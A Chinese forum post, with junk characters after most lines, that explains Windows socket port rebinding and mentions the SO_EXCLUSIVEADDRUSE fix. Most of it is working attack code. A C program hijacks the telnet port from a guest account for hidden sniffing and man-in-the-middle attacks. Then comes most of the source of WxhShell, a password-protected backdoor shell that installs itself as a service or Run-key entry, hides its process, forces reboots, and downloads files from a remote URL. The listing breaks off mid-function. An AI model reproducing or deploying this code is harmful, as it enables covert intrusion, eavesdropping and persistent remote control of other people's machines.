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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: |NZi2Bu  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); UJI2L-;Ul  
sX%n`L  
  saddr.sin_family = AF_INET; ~{/M_ =  
V2Vr7v=Y"  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); f[k#Znr  
iH }-  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); q5SPyfE[  
*=!e,  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 .P)lQk\  
~DInd-<5  
  这意味着什么?意味着可以进行如下的攻击: o:AfEoH"~  
%;k Hnl  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 `s CwgY+  
UPuoIfuqI  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) z3+@[I$  
.d1ff] ;  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Ds">eNq  
kP ]Up&'  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  f$xXR$mjf  
n^4R]9U  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 2CzhaO  
(?|M'gZ  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 p"ytt|H  
p0@^1  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ;t{q]"? W  
o6[.$C  
  #include ApCU|*r)  
  #include ]$@a.#}  
  #include xak)YOLRV  
  #include    }L_YpG7  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Lb/GL\J)  
  int main() JI5o~; }m  
  { t@qf/1  
  WORD wVersionRequested; !{lH*  
  DWORD ret; e3p|g]  
  WSADATA wsaData; |"gL {De  
  BOOL val; y@3p5o9lv-  
  SOCKADDR_IN saddr; 4nsJZo#S/  
  SOCKADDR_IN scaddr; H$h#n~W~  
  int err; YExgUE|  
  SOCKET s; l^lb ^"o  
  SOCKET sc; M|*YeVs9#  
  int caddsize; pZnp!!G  
  HANDLE mt; D<SC `  
  DWORD tid;   a `R%\@1  
  wVersionRequested = MAKEWORD( 2, 2 ); MUrPr   
  err = WSAStartup( wVersionRequested, &wsaData ); h@Q^&%w  
  if ( err != 0 ) { wh8';LZ>R  
  printf("error!WSAStartup failed!\n"); S[Du >  
  return -1; j7~FR{: j  
  } *jlIV$r_  
  saddr.sin_family = AF_INET; U] LDi8  
   5'} V`?S  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ^e.-Ji  
pE5v~~9Ikv  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); HuevDy4  
  saddr.sin_port = htons(23); `L'g<VK;  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) RxP H[7oZ  
  {  /|0-O''  
  printf("error!socket failed!\n"); BX >L7n  
  return -1; )'djqpM.  
  } %k!CjW3  
  val = TRUE; a`!Jq'  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 = s&Rk~2b/  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) xa~]t<2  
  { X94a  
  printf("error!setsockopt failed!\n"); mJSfn"b}K  
  return -1; :$WO"HfMSn  
  } 'FErk~}/4s  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; uR0UfKK  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 b[74$W{  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 T`&zQQ6F'  
/WuYg OI  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) C~ 1]  
  { PF%-fbh!~  
  ret=GetLastError(); Ir9GgB  
  printf("error!bind failed!\n"); [4z,hob  
  return -1; p#@#$u-  
  } V@ >(xe7  
  listen(s,2); n#(pT3&  
  while(1) V(7,N(  
  { JVc{vSa!rm  
  caddsize = sizeof(scaddr); :"%/u9<A  
  //接受连接请求 G|wtl(}3  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); QQ(}71U  
  if(sc!=INVALID_SOCKET) L+am-k:T~  
  { * ,hhX psa  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); NAR6q{c  
  if(mt==NULL) /LD3Bb)O  
  { t3;Zx+Br  
  printf("Thread Creat Failed!\n"); R;< q<i_l  
  break; 2Rk}ovtD[  
  } =oBpS=<7  
  } KdVKvs[  
  CloseHandle(mt); l=~!'1@L}  
  } 02-ql F@i  
  closesocket(s); MEDh  
  WSACleanup(); kK? SG3  
  return 0; PYkhY;*  
  }   #Bd]M#J17a  
  DWORD WINAPI ClientThread(LPVOID lpParam) bZnOX*y]  
  { 6D;N.wDZ  
  SOCKET ss = (SOCKET)lpParam; p* >z:=  
  SOCKET sc; }3(!kW  
  unsigned char buf[4096]; w~66G  
  SOCKADDR_IN saddr; jq+(2  
  long num; #HUn~r  
  DWORD val; p+d-7'?I  
  DWORD ret; x?h/e;  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Kj4/fB  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ]VI^ hhf  
  saddr.sin_family = AF_INET; ]E`<8hRB  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Pe,>ny^J1  
  saddr.sin_port = htons(23); lTx_E#^s  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) GY~$<^AK  
  { zx.qN  
  printf("error!socket failed!\n"); wI.aV>  
  return -1; S=UuEmU5N  
  } ^? fOccfQ{  
  val = 100; f"MID6  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) + :MSY p  
  { @Cj!MZ=T  
  ret = GetLastError(); 9[0iIT$q$  
  return -1; ]M?i:A$B  
  } yM_/_V|G  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) f}:C~L!  
  { <kn 2  
  ret = GetLastError(); -C=0Pg]ga  
  return -1; 78& |^sq  
  } "5hk%T '  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) U&^q#['  
  { hkMeUxS  
  printf("error!socket connect failed!\n"); 0m@+ &X>w  
  closesocket(sc); 7)Toj  
  closesocket(ss); QS#@xhH  
  return -1; eM7@!CdA9q  
  } f|d~=\0y  
  while(1) W`>|OiuF  
  { z*.AuEK?  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 aKI"<%PNn  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 y=3 dGOFB  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 1/DtF  
  num = recv(ss,buf,4096,0); j\y;~ V  
  if(num>0) wi2`5G6|z  
  send(sc,buf,num,0); ^z?b6kTC  
  else if(num==0) (v]%kXy/G  
  break; 3?93Pj3oPt  
  num = recv(sc,buf,4096,0); bZu'5+(@  
  if(num>0) R"nB4R0Uh  
  send(ss,buf,num,0); G%W9?4_K  
  else if(num==0) RY-iFydPc  
  break; bC{4a_B  
  } WtM%(8Y[]  
  closesocket(ss); iq&3S0  
  closesocket(sc); ipSMmpB  
  return 0 ; wuqe{?  
  } 8lyIL^  
'xW=qboOp  
;UdM8+^/V]  
========================================================== *^?tr?e%I<  
xT*'p&ap  
下边附上一个代码,,WXhSHELL vq$6e*A  
hx$]fvDevD  
========================================================== [,=?e  
}M07-qIX{  
#include "stdafx.h" d4Uw+3ikW  
b?~p/[  
#include <stdio.h> rj4@  
#include <string.h> -gn0@hS0  
#include <windows.h> !=9x=  
#include <winsock2.h> }\a#e^-xQ+  
#include <winsvc.h> 'Ru(`" 1|  
#include <urlmon.h> =EJ&=t  
]7HR U6$  
#pragma comment (lib, "Ws2_32.lib") s:T%, xS  
#pragma comment (lib, "urlmon.lib") (,Y[2_Zv  
-&/?&{Q0  
#define MAX_USER   100 // 最大客户端连接数 (i&+=+"wn  
#define BUF_SOCK   200 // sock buffer "x,lL  
#define KEY_BUFF   255 // 输入 buffer YvY|\2^K  
=z1Lim-  
#define REBOOT     0   // 重启 QV|6"4\  
#define SHUTDOWN   1   // 关机 JPI%{@Qc^  
DV5hTw0  
#define DEF_PORT   5000 // 监听端口 Q'<AV1<  
osp~)icun  
#define REG_LEN     16   // 注册表键长度 k+QGvgP[4@  
#define SVC_LEN     80   // NT服务名长度 }">r0v!3  
n Kkpp-  
// 从dll定义API dSDZMB sd  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); u8f\)m  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); \0\O/^W0  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); O&Y;/$w  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); %ZVYgtk;*  
XYcZ;Z9:  
// wxhshell配置信息 }k-V(  
struct WSCFG { axQ>~v WN/  
  int ws_port;         // 监听端口 '6N)sqTR  
  char ws_passstr[REG_LEN]; // 口令 bT:u |/I  
  int ws_autoins;       // 安装标记, 1=yes 0=no >8Oa(9n  
  char ws_regname[REG_LEN]; // 注册表键名 @c~Z0+Ji  
  char ws_svcname[REG_LEN]; // 服务名 >X~B1D,SV7  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 :6Ri% Nb  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 /|EdpHx0  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 4D65VgVDM  
int ws_downexe;       // 下载执行标记, 1=yes 0=no a %#UF@ I  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Tm %5:/<8  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 -`]9o3E7H  
[$dVs16K  
}; <\229  
)%C.IZ_s2  
// default Wxhshell configuration j0l{Mc5  
struct WSCFG wscfg={DEF_PORT, wNa5qp 0  
    "xuhuanlingzhe", 54 $^ldD  
    1, "P! .5B  
    "Wxhshell", ,%pCcM)  
    "Wxhshell", [@i:qB>B  
            "WxhShell Service", >.<VD7p  
    "Wrsky Windows CmdShell Service", 6[m~xegG  
    "Please Input Your Password: ", H/a gt  
  1, eMGJx"a  
  "http://www.wrsky.com/wxhshell.exe", z}vT8qoX  
  "Wxhshell.exe" E '6>3n  
    }; #*(}%!rD*  
!vz'zy)7  
// 消息定义模块 hFV,FBsAO  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; rS@/@jKZE  
char *msg_ws_prompt="\n\r? for help\n\r#>"; & SXw=;B  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; yP58H{hQM8  
char *msg_ws_ext="\n\rExit."; 7?dWAUF  
char *msg_ws_end="\n\rQuit."; %&L1 3:  
char *msg_ws_boot="\n\rReboot..."; b++r#Q g  
char *msg_ws_poff="\n\rShutdown..."; 6uE20O<z]  
char *msg_ws_down="\n\rSave to "; C'#KTp4!1  
a`wjZ"}'[  
char *msg_ws_err="\n\rErr!"; 3kxo1eb  
char *msg_ws_ok="\n\rOK!"; |/,S NE  
"uH>S+%|b  
char ExeFile[MAX_PATH]; p?gm=b#  
int nUser = 0; (~~m8VJ>  
HANDLE handles[MAX_USER]; w:\} B'u  
int OsIsNt; !5,C"r  
n/9afIN  
SERVICE_STATUS       serviceStatus; V%-hP~nyBx  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; V60L\?a  
ebA:Sq:w  
// 函数声明 dIC\U  
int Install(void); ItVN,sVJb  
int Uninstall(void); mSYjc)z  
int DownloadFile(char *sURL, SOCKET wsh); M`Y^hDl6  
int Boot(int flag); %lCZ7z2o  
void HideProc(void); H-_gd.VD  
int GetOsVer(void); !Fl'?Kz  
int Wxhshell(SOCKET wsl); ::Zo` vP  
void TalkWithClient(void *cs); [Uup5+MCv  
int CmdShell(SOCKET sock); EL,k z8  
int StartFromService(void); H(y`[B,}*  
int StartWxhshell(LPSTR lpCmdLine); \%7*@&  
J[ }H^FR  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); '!m6^*m|c  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 'lIs`Zc5N  
ysnW3q!@  
// 数据结构和表定义 '/O:@P5qY  
SERVICE_TABLE_ENTRY DispatchTable[] = MCN>3/81  
{ 217G[YE-  
{wscfg.ws_svcname, NTServiceMain}, =j>xu|q  
{NULL, NULL} Y j oe|  
}; JM7mQ'`Ud  
VR (R.  
// 自我安装 |4\1V=(  
int Install(void) '#6e Ub  
{ ny-:%A  
  char svExeFile[MAX_PATH]; P~ObxY|  
  HKEY key; aUw-P{zp%  
  strcpy(svExeFile,ExeFile); "L3mW=!*  
(?e%w}  
// 如果是win9x系统,修改注册表设为自启动 Ph3;;,v '  
if(!OsIsNt) { kjYM&q  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Dg&6@c|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2^r~->  
  RegCloseKey(key); 5FOMh"!z\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { bZxN]6_  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); sK2N3 B&6  
  RegCloseKey(key); -6[DQB  
  return 0; &%OY"Y~bI!  
    } UA<Fxt  
  } 4c5BlD  
} wnS,Jl  
else { f.w",S^  
PK]3uh  
// 如果是NT以上系统,安装为系统服务 i{^T;uAE  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); wOAR NrPx2  
if (schSCManager!=0) o/N!l]r  
{ H )ej]DXy  
  SC_HANDLE schService = CreateService ACyK#5E  
  ( s%:fZ7y  
  schSCManager, j[U#J  
  wscfg.ws_svcname, wm~7`&  
  wscfg.ws_svcdisp, |62` {+  
  SERVICE_ALL_ACCESS, B=0^Rysg  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , vPDw22L;'  
  SERVICE_AUTO_START, Fi``l )Tt  
  SERVICE_ERROR_NORMAL, E+]}KX:  
  svExeFile, 'rB% a<  
  NULL, ]oP1c-GEk  
  NULL, !|[rh,e]  
  NULL, 4>,X.|9{  
  NULL, GD4S/fn3  
  NULL C hF~  
  ); Y-ao yoNS  
  if (schService!=0) UGAV"0  
  { <Y yE1 |  
  CloseServiceHandle(schService); (%6fMVp  
  CloseServiceHandle(schSCManager); %7ngAIg  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); hTDK[4e  
  strcat(svExeFile,wscfg.ws_svcname); Qu|CXUk  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { w;lpJ B\  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); /h>g-zb  
  RegCloseKey(key); ~nA k-toJ  
  return 0; O},}-%G  
    } ed6@o4D/kf  
  } i(4<MB1a  
  CloseServiceHandle(schSCManager); @j\:K<sk  
} r `PJb5^\|  
} wtS*-;W  
@:>]jp}uq  
return 1; 0:V /z3?  
} I!hh_  
l5D)UO  
// 自我卸载 ~P|;Y<?3  
int Uninstall(void) ?~o`mg  
{ 5m1J&TZ0  
  HKEY key; OHndZ$'fI  
s!IIvF  
if(!OsIsNt) { ^MpMqm1?8;  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0GUJc}fgvN  
  RegDeleteValue(key,wscfg.ws_regname); 1GYZ1iA  
  RegCloseKey(key); Yc7 YNC.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { fl-J:`zyyZ  
  RegDeleteValue(key,wscfg.ws_regname); {w2] Is2F  
  RegCloseKey(key); HPphTu}`  
  return 0; *D|a`R!Y  
  } WZ'Z"'  
} _wKwiJs  
} Jxvh;  
else { PK+sGV  
${T/b(NM  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); @;egnXxF<  
if (schSCManager!=0) =gj?!d`  
{ .lcp5D[(  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); t 'eaR-  
  if (schService!=0) 5_(\Cd<#  
  { `vBBJ@f4)  
  if(DeleteService(schService)!=0) { Wj.t4XG!  
  CloseServiceHandle(schService); rg^\gE6_  
  CloseServiceHandle(schSCManager); Z!g6uV+.5  
  return 0; bB$f=W!m%  
  } p]kEH\ sh  
  CloseServiceHandle(schService); kp*v:*  
  } I# tlaz#  
  CloseServiceHandle(schSCManager); -DkD*64wu  
}  ;+~5XLk  
} .`IhxE~mN  
Em!- W5*s  
return 1; E&8Nh J  
} )Q=u[ p  
_*AI1/>`  
// 从指定url下载文件 %Xh}{o$G  
int DownloadFile(char *sURL, SOCKET wsh) j:%,lcF  
{ cy^=!EfA  
  HRESULT hr; }2]|*?1,  
char seps[]= "/"; =F@ +~)_  
char *token; *H/>96  
char *file; 'x%gJi#  
char myURL[MAX_PATH]; Zv@qdY<:  
char myFILE[MAX_PATH]; `PARZ|  
E^)FnXe5  
strcpy(myURL,sURL); 'iW  
  token=strtok(myURL,seps); vbmt0df  
  while(token!=NULL) iYr)Ao5X  
  { lrE"phYk  
    file=token; TdPd8ig8{  
  token=strtok(NULL,seps); RiTL(Yx  
  } K$Bv4_|x  
]he~KO[j<  
GetCurrentDirectory(MAX_PATH,myFILE); t oA}0MI(:  
strcat(myFILE, "\\"); y_9\07va<  
strcat(myFILE, file); Gi)Vr\Q.  
  send(wsh,myFILE,strlen(myFILE),0); "lt<$.  
send(wsh,"...",3,0); |" }rdOV)  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); iDDJJ>F26  
  if(hr==S_OK) sRt7.fe  
return 0; TJv .T2|  
else 7{<v$g$  
return 1; ,8384'  
RL` jaS?V  
} y7+@ v'  
5M=U*BI  
// 系统电源模块 2/ +~h(Cc  
int Boot(int flag) @@H/q  
{ x+Yo#u22  
  HANDLE hToken; y hKH} kR  
  TOKEN_PRIVILEGES tkp; '#c#.O  
?;RY/[IX6  
  if(OsIsNt) { uqcG3Pi  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); &MH8~LSb  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); O\Huj=  
    tkp.PrivilegeCount = 1; byI" ?  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; %1 )c{7  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); dy+A$)gY<  
if(flag==REBOOT) { {]6-,/3UR  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) -Mr_Ao`E  
  return 0; B=OzP+  
} !\#Wq{p>W*  
else { DCp8rvUI  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) P6_Hz!vE  
  return 0; e[iv"|+  
} K3mP6Z#2  
  } ! \s}A7  
  else { a &tWMxBr  
if(flag==REBOOT) { B=]j=\o  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) +=/j+S`  
  return 0; ( K[e=0Rf  
} e\X[\ve  
else { n1; a~0P  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) T8m]f<  
  return 0; d*|RFU  
} ,Mw93Kp Va  
} WdOxwsq"  
V<5. 4{[G  
return 1; C rR/  
} $*eYiz3Ue  
m%.4OXX"&  
// win9x进程隐藏模块 80Y% C-Y:  
void HideProc(void) qoZi1,i'  
{ s O#cJAfuu  
/}1|'?P  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); z9 0JZA  
  if ( hKernel != NULL ) P DY :?/  
  { At@0G\^  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); pmP~1=3  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); _Yo)m |RaB  
    FreeLibrary(hKernel); s=)W  
  } qcO~}MJr}^  
1)c{;x& W  
return; \SmsS^z(]  
} WT\wV\Pu  
mW]dhY 3X  
// 获取操作系统版本 9iT9ZfaW  
int GetOsVer(void) A o* IshVh  
{ 2 K_ QZ  
  OSVERSIONINFO winfo; 6)sKg{H  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); tC'#dU`=qY  
  GetVersionEx(&winfo); rL\}>VC)  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Rng-o!   
  return 1; ?8$`GyjS  
  else 3~fi#{  
  return 0; 8{0XqE~ix=  
} SOG(&)b  
egsP\ '  
// 客户端句柄模块 & PXT$x[i  
int Wxhshell(SOCKET wsl) {*bx8*y1  
{  p[&J l  
  SOCKET wsh; S8qg"YR  
  struct sockaddr_in client; } Nn+Ny  
  DWORD myID; ,]\cf  
->pU!f)\X  
  while(nUser<MAX_USER) _f 2rz+  
{ jy0aKSn8  
  int nSize=sizeof(client); ue3 ].:  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); U;3t{~Ym  
  if(wsh==INVALID_SOCKET) return 1; h];H]15&  
&wU"6E  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); a4uy}@9z  
if(handles[nUser]==0) :V6 [_VaF  
  closesocket(wsh); \ o2oQ3  
else Ngx2N<$<*g  
  nUser++; %H?B5y  
  } E[t[R<v,P!  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); .feB VRg  
;m] nl_vg  
  return 0; W2h*t"5W  
} 78]*Jx>L  
a9&[Qv5-/  
// 关闭 socket \roJf&O }  
void CloseIt(SOCKET wsh) pGU .+[|(  
{ v8)wu=u  
closesocket(wsh); \ P6 !  
nUser--; 7>im2"zm  
ExitThread(0); %_n%-Qn  
} ?`OF n F,K  
(ID%U  
// 客户端请求句柄 w)J-e gc  
void TalkWithClient(void *cs) 5.-:)=  
{ r=.@APZB  
h7ZH/g$)  
  SOCKET wsh=(SOCKET)cs; kReZch}  
  char pwd[SVC_LEN]; 1d!s8um;  
  char cmd[KEY_BUFF]; FLJ&ZU=s  
char chr[1]; { #B/4  
int i,j; prM)t8SE  
\aPH_sf,  
  while (nUser < MAX_USER) { A%EhRAy  
,y"vf^BE.  
if(wscfg.ws_passstr) { +EA ")T<l  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); F%zMhX'AG  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); y)L X?d  
  //ZeroMemory(pwd,KEY_BUFF); _GY2|x2c  
      i=0; 3R$R?^G  
  while(i<SVC_LEN) { Hwd^C 2v  
Msvs98LvW  
  // 设置超时 ai/]E6r  
  fd_set FdRead; i+QVs_jW  
  struct timeval TimeOut; ga KZ4#  
  FD_ZERO(&FdRead); z( ^?xv  
  FD_SET(wsh,&FdRead); CUTjRWQ  
  TimeOut.tv_sec=8; M'|[:I.V  
  TimeOut.tv_usec=0; MZ0cZv$v!~  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); g#fn(A  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 4T52vM  
Jo qhmn$j  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )Dms9:  
  pwd=chr[0]; KiMlbF.~V  
  if(chr[0]==0xd || chr[0]==0xa) { `B&E?x  
  pwd=0;  [A,!3BN  
  break; /qKor;x  
  } VPYcA>-%u  
  i++; gCYe ^KJ  
    } Qd~7OH4Lp  
[V /f{y~ {  
  // 如果是非法用户,关闭 socket )6"p@1\u  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); hG`@#9|f  
} }'{"P#e8"q  
X9c<g;  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 73 1RqUR  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); j+fF$6po#t  
DB|w&tygq  
while(1) { 3 P75:v  
O|Vc  
  ZeroMemory(cmd,KEY_BUFF); D\ZH1C!d  
(-1{W^(  
      // 自动支持客户端 telnet标准   \ eba9i^  
  j=0; t~}c"|<t  
  while(j<KEY_BUFF) { [[w-~hHH-  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Ymnh%wS  
  cmd[j]=chr[0]; Qru&lAYc<  
  if(chr[0]==0xa || chr[0]==0xd) { 3XUVUd~  
  cmd[j]=0; Xsn M}  
  break; ]ZR` 6|"VO  
  } c#u_%*  
  j++; B(FM~TVZ  
    } _lT'nFe =Q  
X%99@qv  
  // 下载文件 "IpbR  
  if(strstr(cmd,"http://")) { *E>R1bJ8  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 2_bEo  
  if(DownloadFile(cmd,wsh)) 67H?xsk@n  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); REcKfJTj  
  else bFG?mG:  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9A{D<h}yk  
  } n}9<7e~/  
  else { 9I5AYa?  
L|D9+u L  
    switch(cmd[0]) { npytb*[|c  
  zSMM?g^T  
  // 帮助 n<)A5UB5-  
  case '?': { 9%R"(X)  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); st.{AEv@  
    break; LH`$<p2''r  
  } a_\7Ho$^  
  // 安装 x~m$(LT  
  case 'i': { ~Sf'bj;(  
    if(Install()) u46Z}~xfb  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -d2)  
    else 7Kj7or|  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4!3<[J;N;  
    break; ~kpa J'm  
    } )_Hv9!U]e  
  // 卸载 v9TIEmZ  
  case 'r': { W4#DeT  
    if(Uninstall()) Y[VXx8"p  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gs.+|4dv  
    else 18kWnF]n=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); t\2-7Ohj6  
    break; wmMn1q0F  
    } k ^KpQ&n  
  // 显示 wxhshell 所在路径 ,9F3~Ryt(  
  case 'p': { ^G5fs'd  
    char svExeFile[MAX_PATH]; qUg/mdv&  
    strcpy(svExeFile,"\n\r"); EKw)\T1  
      strcat(svExeFile,ExeFile); aWvC-vZk  
        send(wsh,svExeFile,strlen(svExeFile),0); zLxuxf~4@  
    break; Uw5&.aqn.b  
    } 7bGOE_r  
  // 重启 >pol'=  
  case 'b': { Mx# P >.  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); n Jz*}=  
    if(Boot(REBOOT)) uHZjpMoM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~U]%>Zf  
    else { (Xz q(QV  
    closesocket(wsh); SEu:31k{o  
    ExitThread(0);  SN}3  
    } wT3D9N.  
    break; 1Qjc*+JzO.  
    } K0@bh/i/^  
  // 关机 :YLYCVi|  
  case 'd': { GsD?Z%t~%  
